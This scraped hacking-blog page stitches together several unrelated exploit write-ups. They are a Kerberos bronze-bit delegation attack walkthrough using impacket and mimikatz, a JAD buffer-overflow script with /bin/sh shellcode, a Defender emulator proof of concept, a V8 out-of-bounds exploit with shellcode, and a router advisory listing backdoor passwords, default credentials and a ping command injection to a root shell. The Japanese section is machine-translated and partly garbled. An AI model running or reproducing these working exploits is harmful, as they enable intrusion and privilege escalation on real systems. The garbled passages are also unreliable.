Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863534404

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01序文

getst.py(https://github.com/secureauthcorp/impacket/blob/master/examples/)に新しいpr-force-forwardableロゴが追加されました。この識別を有効にした後、プログラムは次の手順を実行します(新しく追加されたコンテンツは太字で表示されます):プログラムは、-hashまたは-aeskeyパラメーターによって提供されるキーを使用し、コマンドラインで指定されたサービスプリンシパルとしてTGTを取得します。プログラムは、TGTを介してS4U2自己交換を実行して、-Imprionateパラメーターで指定されたユーザーのサービスプリンシパルのサービスチケットを取得します。プログラムは、ステップ1で使用されるサービスプリンシパルの同じキーを使用してサービスチケットを復号化します。プログラムは「フォローダブル可能な」アイデンティティを1に設定します。このプログラムは、サービスチケットとそのTGTとS4U2Proxy交換を行い、-SPNパラメーターで指定されたサービスとしてシミュレートされたユーザーのサービスチケットを取得します。このプログラムは、結果をサービスチケットとして出力します。これは、ターゲットサービスを認証し、ターゲットユーザーになりすましているために使用できます。チケットを編集して、前向きなビットを1に強制することにより、プログラムは保護されたユーザーグループのメンバーとして構成されたユーザーをシミュレートできます。またはアカウントを使用することは敏感で、委任できません。これにより、プログラムを「Kerberosのみ」の制約用に構成したサービスで使用できます。次の例では、「service1」により「service2」への制約委任が許可され、user2は「アカウントに敏感で委任できません」として構成されます。 -force -forwardable IDがない場合、S4U2Selfによって返されたチケットが転送されないため、S4U2Proxy交換は失敗します。新しいIDを使用すると、プログラムは正常に実行され、ユーザー2をシミュレートするために使用できるサービスチケットを生成します。チケットは、Mimikatzを介して搭載され、すぐにuser2としてservice2にアクセスできます。

0x02攻撃の例1

このシナリオでは、この脆弱性を活用することで、「このユーザーが指定されたサービスのみに委任することを信頼します - Kerberosのみを使用する」保護を保護し、委任された保護されたユーザーをシミュレートする方法がわかります。

1。環境構成

テストドメイン(test.local)には、Windows Server 2019バージョンを実行している3つのサーバーが含まれていますが、脆弱性は修正されていません。攻撃は、service1サーバーでuser1として起動されます。 Service2サーバーには管理アクセス権があるため、user2アカウントへの攻撃を開始します。すべてのKerberosチケットのドメインコントローラー(DC)と対話します。 DCでは、Service1が構成されているため、プロトコルをService2に変換せずに制約された委任を実行できます。これにより、攻撃パスのステップ3の条件が満たされます。

この構成がActive Directory GUIで設定されている場合、次のようになります。jvompf0ajld7528.pngユーザー2アカウントもDCを更新する必要があります。アカウントは、アカウントに敏感で削除不可能な属性で構成できます。このアカウントは、保護されたユーザーグループのメンバーになることもできます。これらの構成の変更の1つまたは両方は同等です。アカウントに敏感で委任できないユーザー2を構成します。初期攻撃の拠点を取得するには(攻撃パスのステップ1)。 PowerShellセッションを開始し、現在、user1とservice1が独自の承認の下でservice2にアクセスできないことを確認してください。コマンド:whoamils \\ service2.test.local \ c $攻撃パスの続行ステップ2:Serviceのハッシュ値を取得します1。このシナリオでは、ImpacketのSecretSdump.pyを使用して、AES256-CTS-HMAC-SHA1-96値とLM:NTLM Service1 Computerアカウントのハッシュ値を取得します。コマンド:Python。\ Impacket \ Examples \ secretsdump.py 'test/user13360user1_password@service1.test.local'execution:pvuvcyeyl2d7529.png必要なハッシュを取得した後、GetSt.pyプログラムは最初に - フォードル可能なプログラムを実行しないようにします。正常に実行できません。上記のように、S4U2Self Exchangeは依然としてUser2のService1へのサービスチケットを返しますが、サービスの委任制限とユーザーの未解決の保護により、チケットの前向きなIDは設定されていません。 This causes an error when using the ticket as authentication in the S4U2proxy exchange:\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes LM:NTLM hash -aesKey AES hash test.local/Service1 Executionsgafoslwguq7530.png Run the exploit, which is the 4th step攻撃パスの。前のコマンドを繰り返しますが、今回は-force -forwardableコマンドラインパラメーターコマンドを含めます。 cifs/service2.test.local- user2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aeskey 4FFE0C458EF7196E4991229B0E1C4A11129282AFB117B02DC2FF38F0312FC84B4 TEST.LOCAL/SERVICE1 -FORCE -Forwardable

执行:vsll53dme3i7531.png命令成功输出:S4U2SelfからのサービスチケットFlags: 000000001000010000000000000000000000000000000000 s4u2selfからのサービスチケットは、フォワード担当チケットをForcives forcive forcivation notervice nodification notification : 0100001000010000000000000000000000 -force -forwardableフラグを含めることにより、先送り可能であるエクスプロイトは自動的に実行され、S4U2自己交換から受け取ったサービスチケットを転送可能な請求書に変換します。これは、Service1のハッシュ値を使用してチケットを復号化し、フラグ値の2番目のビットを0から1に変更し、チケットを再クリップすることです。このフォローダブル請求書はS4U2Proxy Exchangeで送信され、Service2はuser2のサービスチケットとして返され、user2.ccacheのディスクに書き込まれます。次に、サービスチケットは、Mimikatzを使用して使用するためにチケットキャッシュにロードされます。読み込んだ後、MimikatzがCIFS Service of Service2にアクセスするためのUser2が有効なチケットであることを確認することがわかります。コマンド:\ mimikatz \ mimikatz.exe 'kerberos3:ptc user2.ccache' exit 'exit' exit 'exit' exit '(commandline) service2にuser2にすべての権限があります。 Mark RussianovichのPsexecを使用して、Service2サーバーでPowerShellセッションを取得し、いくつかのコマンドを実行します。これが攻撃パスの最後のステップです。コマンド:ls \\ service2.test.local \ c $ターゲットユーザー2アカウントは、「保護されたユーザー」のメンバーとしてのIDを保持するか、「アカウントに敏感で未解除されていない」属性を使用して構成を維持することができます。 DCに接続し、「このコンピューターを代表団に信頼しないでください」を使用してService1を構成し、Service1qavfckzyas57532.pngを編集してService2コンピューターオブジェクトを編集し、ユーザー1の書き込み許可を付与します。ユーザー1ユーザーに直接アクセス許可を付与すると、ユーザーは通常、特権グループのメンバーシップを通じて1つ以上の広告オブジェクトへの書き込みアクセス許可を取得します。ユーザーは必ずしもドメイン管理者である必要はありません。ftdrvqyoml17533.png

2。攻撃を実行

ドメインコントローラーを終了し、service1サーバーにユーザーとしてログインします。初期攻撃の拠点を取得するには(攻撃パスのステップ1)。最初の例から攻撃を続ける場合は、地元のKerberosチケットキャッシュをクリアしてください。キャッシュをクリアする最も効果的な方法は、サービス1を再起動することです。

前の例とは異なり、この攻撃はService1とService2の委任信頼関係を活用しません2。 service1を「委任のためにこのコンピューターを信頼する」ように構成した後、この信頼関係はもはや存在しません。 Service2との新しい委任関係を確立する必要があります。今回は新しいサービスです。環境で新しいサービスを作成するために、Kevin RobertsonのPowerMadを使用して新しいコンピューターアカウントを作成します。これには、アカウントのアクセス許可を増やす必要はなく、デフォルトではドメイン内のユーザーはそれを使用できます。コンピューターアカウントに「AttackerService」という名前を付け、「AttacererServicePassWord」コマンド:Import -Mad \ PowerMad.ps1New -MachineaCcount AttackerService -Password $(akterSerervicePassword '-Asspleantext -forcentext -forreattext -formentext -formentext -curestring -curestring -curestring -curestring -password $(convertto securestring -curestring -password $)などの任意のパスワードを提供します。新しいマシンアカウントのパスワードを選択した場合、Mimikatzを使用して対応するパスワードハッシュを簡単に計算できます。これにより、攻撃パスのステップ2が完了します。コマンド:\ mimikatz \ mimikatz.exe 'kerberos3:3360hash /password3:atcackerservicepassword /user:attackerservice /domain:test.local' exit decution:31b1fys5jto7535.png crated crited ext our neft didhell chalk of red fid ext ed chalk of red ed chalk of red ed chalk of red ed chalk of red ed chalk of red ed chalk of chalk of culd exモジュールはまだ利用できないため、対応する関数をインストールし、モジュールをインポートし、新しく作成したコンピューターアカウントを確認します。コマンド:install-windowsfeature rsat-ad-powershellimport-module active directoryget-adcomputer aghterservice実行:mfunkrgwwym7537.pngマシンアカウントの存在を確認した後、Service2とAttackerserviceの間に制約された委任信頼関係を確立できます。 user1(当社の制御されたフットルドアカウント)には、service2オブジェクトへの書き込みアクセス許可があるため、service2のagrationallowedtodelegateToAccountリストにAttacherServiceを追加できます2。これにより、リソースベースの制約付き委任がService2に確立され、攻撃者サービスからの制約付き委任が受け入れられます。このステップを完了した後、攻撃パスのステップ3の条件を満たします。コマンド:set-adcomputer service2 -principalsallowedtodeLegatoAccount Attackerservice $ get-adcomputer service2 -properties principalsalowedtodelegateAccount実行:u0cv1cp0ip07538.png攻撃パスのステップ4を実行し続ける準備ができています。前の例と同じコマンドを使用しますが、今回はservice1の代わりに攻撃者サービスを指定し、mimikatzを使用してハッシュ値を計算します。

コマンドに-force -forwardableフラグを含めると、前の例と同じ結果が表示されます。エクスプロイトを実行し、前向きなフラグを設定し、service2のサービスチケットをuser2.ccacheのディスクにuser2として書き込みます。コマンド:Python。\ Impacket \ Examples \ getSt.py -Spn CIFS/SERVICE2.TEST.LOCAL -IMPRINGATE USER2 -HASES 830F8DF592F48BC036AC79A2B8036C5:830F8F8DF592F48BC036AC7992B8036CKEY 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$ Executionbtetxqd3zzs7539.pngこれで、前の例で最後のコマンドを繰り返すことができます。 Mimikatzを使用して、ローカルKerberosチケットキャッシュにサービスチケットをロードすることにより、攻撃パスのステップ5の準備をします。次に、service2(simulating user2)と対話してステップ5コマンドを実行します。 out-nullls \\ service2.test.local \ c $

#!/usr/bin/python
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is
# prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Package details:
# Version: 1.5.8e-1kali1
# Architecture: all
#
# Vendor homepage: http://www.varaneckas.com/jad/
#

import os,subprocess

junk = "\x41" * 8150 # junk to offset
nops = "\x90" * 24 # nops
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
esp = "\x18\x2e\x0e\x08" # rop call $esp from jad
buffer = junk + esp + nops + shellcode # craft the buffer

try:
   print("[*] JAD 1.5.8 Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["jad", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "JAD  not found!"
   else:
    print "Error executing exploit"
   raise
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1260

MsMpEng includes a full system x86 emulator that is used to execute any untrusted files that look like PE executables. The emulator runs as NT AUTHORITY\SYSTEM and isn't sandboxed.

Browsing the list of win32 APIs that the emulator supports, I noticed ntdll!NtControlChannel, an ioctl-like routine that allows emulated code to control the emulator.

You can simply create an import library like this and then call it from emulated code:

$ cat ntdll.def
LIBRARY ntdll.dll
EXPORTS
    NtControlChannel
$ lib /def:ntdll.def /machine:x86 /out:ntdll.lib /nologo
   Creating library ntdll.lib and object ntdll.exp
$ cat intoverflow.c
#include <windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>

#pragma pack(1)

struct {
    uint64_t start_va;
    uint32_t size;
    uint32_t ecnt;
    struct {
        uint16_t opcode;
        uint16_t flags;
        uint32_t address;
    } data;
} microcode;

int main(int argc, char **argv)
{
    microcode.start_va = (uint64_t) GetProcAddress; // just some trusted page
    microcode.size = 1;
    microcode.ecnt = (UINT32_MAX + 1ULL + 8ULL) / 8;
    microcode.data.opcode = 0x310f; // rdtsc
    microcode.data.flags = 0;
    microcode.data.address = microcode.start_va;
    NtControlChannel(0x12, &microcode);
    _asm rdtsc
    return 0;
}
$ cl intoverflow.c ntdll.lib
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

intoverflow.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:intoverflow.exe
intoverflow.obj
ntdll.lib


It's not clear to me if this was intended to be exposed to attackers, but there are problems with many of the IOCTLs.

* Command 0x0C allows allows you to parse arbitrary-attacker controlled RegularExpressions to Microsoft GRETA (a library abandoned since the early 2000s). This library is not safe to process untrusted Regex, a testcase that crashes MsMpEng attached. Note that only packed executables can use RegEx, the attached sample was packed with UPX. ¯\_(ツ)_/¯

* Command 0x12 allows you to load additional "microcode" that can replace opcodes. At the very least, there is an integer overflow calculating number of opcodes provided (testcase attached). You can also redirect execution to any address on a "trusted" page, but I'm not sure I understand the full implications of that.

* Various commands allow you to change execution parameters, set and read scan attributes and UFS metadata (example attached). This seems like a privacy leak at least, as an attacker can query the research attributes you set and then retrieve it via scan result.

The password for all archives is "msmpeng".

################################################################################

I noticed additional routines (like NTDLL.DLL!ThrdMgr_SwitchThreads) that could not be imported, and looked into how they work.

It turns out the emulator defines a new opcode called "apicall" that has an imm32 operand. If you disassemble one of the routines that can be imported, you'll see a small stub that uses an undefined opcode - that is an apicall. To use the apicall instruction, you need to calculate crc32(modulename) ^ crc32(procname), and then use that as the 32 bit immediate operand.

If you think that sounds crazy, you're not alone.

So if we wanted to call NTDLL.DLL!MpUfsMetadataOp, we would need to calculate crc32("NTDLL.DLL") ^ crc32("MpUfsMetadataOp"), then encode that as 0x0f 0xff 0xf0 <result>. There is an example wrapper in C that demonstrates its usage below.

I'm planning to wait to see if Microsoft really intended to expose these additional apis to attackers before I audit more of them. It looks like the other architectures, like MSIL, also have an apicall instruction.

Filename: apicall.c
The password for all archives is "msmpeng"

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42077.zip
            
// Source: https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/
//
// v8 exploit for https://crbug.com/716044
var oob_rw = null;
var leak = null;
var arb_rw = null;

var code = function() {
  return 1;
}
code();

class BuggyArray extends Array {
  constructor(len) {
    super(1);
    oob_rw = new Array(1.1, 1.1);
    leak = new Array(code);
    arb_rw = new ArrayBuffer(4);
  }
};

class MyArray extends Array {
  static get [Symbol.species]() {
    return BuggyArray;
  }
}

var convert_buf = new ArrayBuffer(8);
var float64 = new Float64Array(convert_buf);
var uint8 = new Uint8Array(convert_buf);
var uint32 = new Uint32Array(convert_buf);

function Uint64Add(dbl, to_add_int) {
  float64[0] = dbl;
  var lower_add = uint32[0] + to_add_int;
  if (lower_add > 0xffffffff) {
    lower_add &= 0xffffffff;
    uint32[1] += 1;
  }
  uint32[0] = lower_add;
  return float64[0];
}

// Memory layout looks like this:
// ================================================================================
// |a_ BuggyArray (0x80) | a_ FixedArray (0x18) | oob_rw JSArray (0x30)           |
// --------------------------------------------------------------------------------
// |oob_rw FixedDoubleArray (0x20) | leak JSArray (0x30) | leak FixedArray (0x18) |
// --------------------------------------------------------------------------------
// |arb_rw ArrayBuffer |
// ================================================================================
var myarray = new MyArray();
myarray.length = 9;
myarray[4] = 42;
myarray[8] = 42;
myarray.map(function(x) { return 1000000; });

var js_function_addr = oob_rw[10];  // JSFunction for code()

// Set arb_rw's kByteLengthOffset to something big.
uint32[0] = 0;
uint32[1] = 1000000;
oob_rw[14] = float64[0];
// Set arb_rw's kBackingStoreOffset to
// js_function_addr + JSFunction::kCodeEntryOffset - 1
// (to get rid of Object tag)
oob_rw[15] = Uint64Add(js_function_addr, 56-1);

var js_function_uint32 = new Uint32Array(arb_rw);
uint32[0] = js_function_uint32[0];
uint32[1] = js_function_uint32[1];
oob_rw[15] = Uint64Add(float64[0], 128); // 128 = code header size

// pop /usr/bin/xcalc
var shellcode = new Uint32Array(arb_rw);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
code();
            
CERIO 11nbg 2.4Ghz High Power Wireless Router (pekcmd) Rootshell Backdoors


Vendor: CERIO Corporation
Product web page: http://www.cerio.com.tw
Affected version: DT-100G-N (fw: Cen-WR-G2H5 v1.0.6)
                  DT-300N (fw: Cen-CPE-N2H10A v1.0.14)
                  DT-300N (fw: Cen-CPE-N2H10A v1.1.6)
                  CW-300N (fw: Cen-CPE-N2H10A v1.0.22)
                  Kozumi? (fw: Cen-CPE-N5H5R v1.1.1)


Summary: CERIO's DT-300N A4 eXtreme Power 11n 2.4Ghz 2x2
High Power Wireless Access Point with built-in 10dBi
patch antennas and also supports broadband wireless
routing. DT-300N A4's wireless High Power design
enhances the range and stability of the device's
wireless signal in office and home environments.
Another key hardware function of DT-300N A4 is its PoE
Bridging feature, which allows subsequent devices to
be powered through DT-300N A4's LAN port. This
reduces device cabling and allows for more convenient
deployment. DT-300N A4 utilizes a 533Mhz high power CPU base
with 11n 2x2 transmission rates of 300Mbps. This
powerful device can produce high level performance
across multiple rooms or large spaces such as offices,
schools, businesses and residential areas. DT-300N A4
is suitable for both indoor and outdoor deployment,
and utilizes an IPX6 weatherproof housing.
The DT-300N A4 hardware equipped with to bundles
Cerio CenOS 5.0 Software Core. CenOS 5.0 devices can
use integrated management functions of Control
Access Point (CAP Mode) to manage an AP network.

Desc: Cerio Wireless Access Point and Router suffers from
several vulnerabilities including: hard-coded and default
credentials, information disclosure, command injection and
hidden backdoors that allows escaping the restricted shell
into a root shell via the 'pekcmd' binary. Given that all
the processes run as root, an attacker can easily drop into
the root shell with supplying hard-coded strings stored in
.rodata segment assigned as static constant variables. The
pekcmd shell has several hidden functionalities for enabling
an advanced menu and modifying MAC settings as well as easily
escapable regex function for shell characters.

Tested on: Cenwell Linux 802.11bgn MIMO Wireless AP(AR9341)
           RALINK(R) Cen-CPE-N5H2 (Access Point)
           CenOS 5.0/4.0/3.0
           Hydra/0.1.8


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5409
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5409.php


16.05.2017

---


Large number of devices uses the cenwell firmware (mips arch)
which comes with few surprises.

Default credentials (web interface):
------------------------------------
operator:1234
admin:admin
root:default


Default credentials (linux shell, ssh or telnet):
-------------------------------------------------
root:default
ate:default


Contents of /etc/passwd (DES):
------------------------------
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd <---


The /bin/pekcmd binary is a restricted shell environment with
limited and customized set of commands that you can use for
administering the device once you've logged-in with the root:default
credentials.

➜  ~ telnet 10.0.0.17
Trying 10.0.0.17...
Connected to 10.0.0.17.
Escape character is '^]'.
Login: root
Password: *******
command>
command> help

Avaliable commands:
    info            Show system informations
    ping            Ping!
    clear           clear screen
    default         Set default and reboot
    passwd          Change root password
    reboot          Reboot
    ifconfig        IP Configuration
    iwconfig        Configure a WLAN interface
    iwpriv          Configure private parameters of a WLAN interface
    exit            Exit
    help            show this help

command> id
id: no such command
command>


Analyzing the pekcmd binary revealed the hidden backdoors and the
hidden advanced menu. Here is the invalid characters check function:

-------------------------------------------------------------------------

.text:00401F60 check_shellchars:
.text:00401F60                 li      $gp, 0x1FB00
.text:00401F68                 addu    $gp, $t9
.text:00401F6C                 addiu   $sp, -0x38
.text:00401F70                 sw      $ra, 0x38+var_4($sp)
.text:00401F74                 sw      $s2, 0x38+var_8($sp)
.text:00401F78                 sw      $s1, 0x38+var_C($sp)
.text:00401F7C                 sw      $s0, 0x38+var_10($sp)
.text:00401F80                 sw      $gp, 0x38+var_28($sp)
.text:00401F84                 la      $a1, 0x410000
.text:00401F88                 la      $t9, memcpy
.text:00401F8C                 addiu   $s0, $sp, 0x38+var_20
.text:00401F90                 move    $s2, $a0
.text:00401F94                 addiu   $a1, (asc_409800 - 0x410000)  # ";><|$~*{}()"
.text:00401F98                 move    $a0, $s0         # dest
.text:00401F9C                 jalr    $t9 ; memcpy
.text:00401FA0                 li      $a2, 0xB         # n
.text:00401FA4                 lw      $gp, 0x38+var_28($sp)
.text:00401FA8                 b       loc_401FE4
.text:00401FAC                 addiu   $s1, $sp, 0x38+var_15

.text:00401FB0                 lb      $a1, 0($s0)      # c
.text:00401FB4                 jalr    $t9 ; strchr
.text:00401FB8                 addiu   $s0, 1
.text:00401FBC                 lw      $gp, 0x38+var_28($sp)
.text:00401FC0                 beqz    $v0, loc_401FE4
.text:00401FC4                 move    $a1, $v0
.text:00401FC8                 la      $a0, 0x410000
.text:00401FCC                 la      $t9, printf
.text:00401FD0                 nop
.text:00401FD4                 jalr    $t9 ; printf
.text:00401FD8                 addiu   $a0, (aIllegalArgumen - 0x410000)  # "illegal argument: %s\n"
.text:00401FDC                 b       loc_402000
.text:00401FE0                 nop

.text:00401FE4                 la      $t9, strchr
.text:00401FE8                 bne     $s0, $s1, loc_401FB0
.text:00401FEC                 move    $a0, $s2         # command
.text:00401FF0                 la      $t9, system
.text:00401FF4                 nop
.text:00401FF8                 jalr    $t9 ; system
.text:00401FFC                 nop

.text:00402000                 lw      $ra, 0x38+var_4($sp)
.text:00402004                 lw      $gp, 0x38+var_28($sp)
.text:00402008                 move    $v0, $zero
.text:0040200C                 lw      $s2, 0x38+var_8($sp)
.text:00402010                 lw      $s1, 0x38+var_C($sp)
.text:00402014                 lw      $s0, 0x38+var_10($sp)
.text:00402018                 jr      $ra
.text:0040201C                 addiu   $sp, 0x38
.text:0040201C  # End of function check_shellchars

-------------------------------------------------------------------------

command> ping 127.0.0.1 -c 1 | id
illegal argument: | id
command> 


Escaping the restricted shell using Ping command injection:


command> ping 127.0.0.1 -c1 && id
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.3 ms
uid=0(root) gid=0(root)


We can easily drop into a sh:

command> ping 127.0.0.1 -c1 && sh
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.3 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.3/0.3 ms


BusyBox v1.11.2 (2014-07-29 12:05:26 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # id
uid=0(root) gid=0(root)
~ # ls
bin      dev      etc_ro   lib      mount    pekcmd   reset    sys      tmpetc   tmpvar   var
cfg      etc      home     mnt      pek      proc     sbin     tmp      tmphome  usr
~ # cat /etc/passwd
root:deGewFOVmIs8E:0:0:root:/:/bin/pekcmd
~ # uname -a
Linux (none) 2.6.31--LSDK-9.2.0_U9.915 #9 Mon Aug 11 09:48:52 CST 2014 mips unknown
~ # cd etc
/etc # cat hostapd0.conf 
interface=ath0
ssid={{SSID_OMITTED}}
macaddr_acl=0
logger_syslog=-1
logger_syslog_level=2
logger_stdout=-1
logger_stdout_level=2
dump_file=/tmp/hostapd0.dump
ctrl_interface=/var/run/hostapd
ctrl_interface_group=0
rts_threshold=2346
fragm_threshold=2346
max_num_sta=32
wpa_group_rekey=600
wpa_gmk_rekey=86400
wpa_pairwise=TKIP
wpa=2
wpa_passphrase=0919067031
/etc # cat version
Atheros/ Version 1.0.1 with AR7xxx --  三 2月 5 17:30:42 CST 2014
/etc # cd /home/httpd/cgi-bin
/home/httpd/cgi-bin # cat .htpasswd
root:deGewFOVmIs8E
/home/httpd/cgi/bin # cd /cfg
/cfg # ls -al
drwxr-xr-x    2 root     root            0 Jan  1 00:00 .
drwxr-xr-x   23 1000     1000          305 Feb  5  2014 ..
-rw-r--r--    1 root     root         7130 Jan  1 00:00 config
-rwxrwxrwx    1 root     root          427 Jan  1 00:00 rsa_host_key
-rwxrwxrwx    1 root     root          225 Jan  1 00:00 rsa_host_key.pub
-rw-r--r--    1 root     root           22 Jan  1 00:00 telnet.conf
/cfg # cat telnet.conf 
Root_password=default
/cfg # cat config |grep pass
Root_password "default"
Admin_password "admin"
/cfg # exit
command>




The hidden 'art' command backdoor enabling root shell, calling system sh
using password: 111222333:

-------------------------------------------------------------------------

la      $a0, 0x410000
la      $t9, strcmp
addiu   $a1, $sp, 0xB8+var_A0  # s2
jalr    $t9 ; strcmp
addiu   $a0, (a111222333 - 0x410000)  # "111222333"
lw      $gp, 0xB8+var_A8($sp)
sltu    $s0, $zero, $v0


.text:004035D8 loc_4035D8:
.text:004035D8                 la      $a1, 0x410000
.text:004035DC                 la      $t9, strcpy
.text:004035E0                 addiu   $s0, $sp, 0xB8+var_8C
.text:004035E4                 addiu   $a1, (aArt - 0x410000)  # "ART"
.text:004035E8                 move    $a0, $s0         # dest
.text:004035EC                 sw      $zero, 0xB8+var_8C($sp)
.text:004035F0                 sw      $zero, 4($s0)
.text:004035F4                 sw      $zero, 8($s0)
.text:004035F8                 sw      $zero, 0xC($s0)
.text:004035FC                 jalr    $t9 ; strcpy
.text:00403600                 sw      $zero, 0x10($s0)
.text:00403604                 lw      $gp, 0xB8+var_A8($sp)
.text:00403608                 nop
.text:0040360C                 la      $t9, strlen
.text:00403610                 nop
.text:00403614                 jalr    $t9 ; strlen
.text:00403618                 move    $a0, $s0         # s
.text:0040361C                 lw      $gp, 0xB8+var_A8($sp)
.text:00403620                 move    $a3, $zero       # flags
.text:00403624                 addiu   $a2, $v0, 1      # n
.text:00403628                 la      $t9, send
.text:0040362C                 move    $a0, $s1         # fd
.text:00403630                 jalr    $t9 ; send
.text:00403634                 move    $a1, $s0         # buf
.text:00403638                 lw      $gp, 0xB8+var_A8($sp)
.text:0040363C                 move    $a1, $s0         # buf
.text:00403640                 li      $a2, 0x14        # nbytes
.text:00403644                 la      $t9, read
.text:00403648                 nop
.text:0040364C                 jalr    $t9 ; read
.text:00403650                 move    $a0, $s1         # fd
.text:00403654                 lw      $gp, 0xB8+var_A8($sp)
.text:00403658                 nop
.text:0040365C                 la      $t9, close
.text:00403660                 nop
.text:00403664                 jalr    $t9 ; close
.text:00403668                 move    $a0, $s1         # fd
.text:0040366C                 lw      $gp, 0xB8+var_A8($sp)
.text:00403670                 nop
.text:00403674                 la      $a0, 0x410000
.text:00403678                 la      $t9, puts
.text:0040367C                 nop
.text:00403680                 jalr    $t9 ; puts
.text:00403684                 addiu   $a0, (aEnterArtMode - 0x410000)  # "\n\n===>Enter ART Mode"
.text:00403688                 lw      $gp, 0xB8+var_A8($sp)
.text:0040368C                 nop
.text:00403690                 la      $v0, stdout
.text:00403694                 la      $t9, fflush
.text:00403698                 lw      $a0, (stdout - 0x41A000)($v0)  # stream
.text:0040369C                 jalr    $t9 ; fflush
.text:004036A0                 nop
.text:004036A4                 lw      $gp, 0xB8+var_A8($sp)
.text:004036A8                 nop
.text:004036AC                 la      $a0, 0x410000
.text:004036B0                 la      $t9, system
.text:004036B4                 addiu   $a0, (aSh - 0x410000)  # "sh"

-------------------------------------------------------------------------

command> art
Enter password


===>Enter ART Mode


BusyBox v1.11.2 (2014-07-28 12:48:51 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # id
uid=0(root) gid=0(root)


The hidden 'pekpekengeng' backdoor enabling advanced commands
and access to root shell:

-------------------------------------------------------------------------

la      $v0, 0x420000
nop
lw      $s0, (off_419A48 - 0x420000)($v0) # off_419A48 = "pekpekengeng"
jalr    $t9 ; strlen
move    $a0, $s0         # s
lw      $gp, 0x38+var_28($sp)
bne     $s3, $v0, loc_403350
move    $a0, $s5         # s1

la      $t9, strncmp
move    $a1, $s0         # s2
jalr    $t9 ; strncmp
move    $a2, $s3         # n
lw      $gp, 0x38+var_28($sp)
bnez    $v0, loc_403350
li      $v1, 1

loc_4033A8:
la      $t9, printf
addiu   $a0, $s1, (aSNoSuchCommand - 0x410000)  # "%s: no such command\n"
jalr    $t9 ; printf
move    $a1, $s4

la      $a0, 0x410000
la      $t9, puts
nop
jalr    $t9 ; puts
addiu   $a0, (aAdvancedComman - 0x410000)  # "\nAdvanced commands:"
lw      $gp, 0x28+var_18($sp)
nop
la      $v0, 0x420000
nop
addiu   $s0, $v0, (off_4199A8 - 0x420000)
la      $v0, 0x410000
b       loc_4020F8
addiu   $s1, $v0, (a16sS - 0x410000)  # "    %-16s%s\n"

-------------------------------------------------------------------------

command> help

Avaliable commands:
    info            Show system informations
    ping            Ping!
    clear           clear screen
    default         Set default and reboot
    passwd          Change root password
    reboot          Reboot
    ifconfig        IP Configuration
    iwconfig        Configure a WLAN interface
    iwpriv          Configure private parameters of a WLAN interface
    exit            Exit
    help            show this help

command> sh
sh: no such command
command> pekpekengeng
pekpekengeng: no such command
command> help

Avaliable commands:
    info            Show system informations
    ping            Ping!
    clear           clear screen
    default         Set default and reboot
    passwd          Change root password
    reboot          Reboot
    ifconfig        IP Configuration
    iwconfig        Configure a WLAN interface
    iwpriv          Configure private parameters of a WLAN interface
    exit            Exit
    help            show this help

Advanced commands:
    ifconfig        IP Configuration
    sh              root shell
    quit            Quit

command> sh


BusyBox v1.11.2 (2013-02-22 10:51:58 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # id
uid=0(root) gid=0(root)
~ # 



Other hidden functionalities:


command> unistorm
Usage:
unistorm device mac count [interval] [len]
command> 
command> unistorm 1 2 3
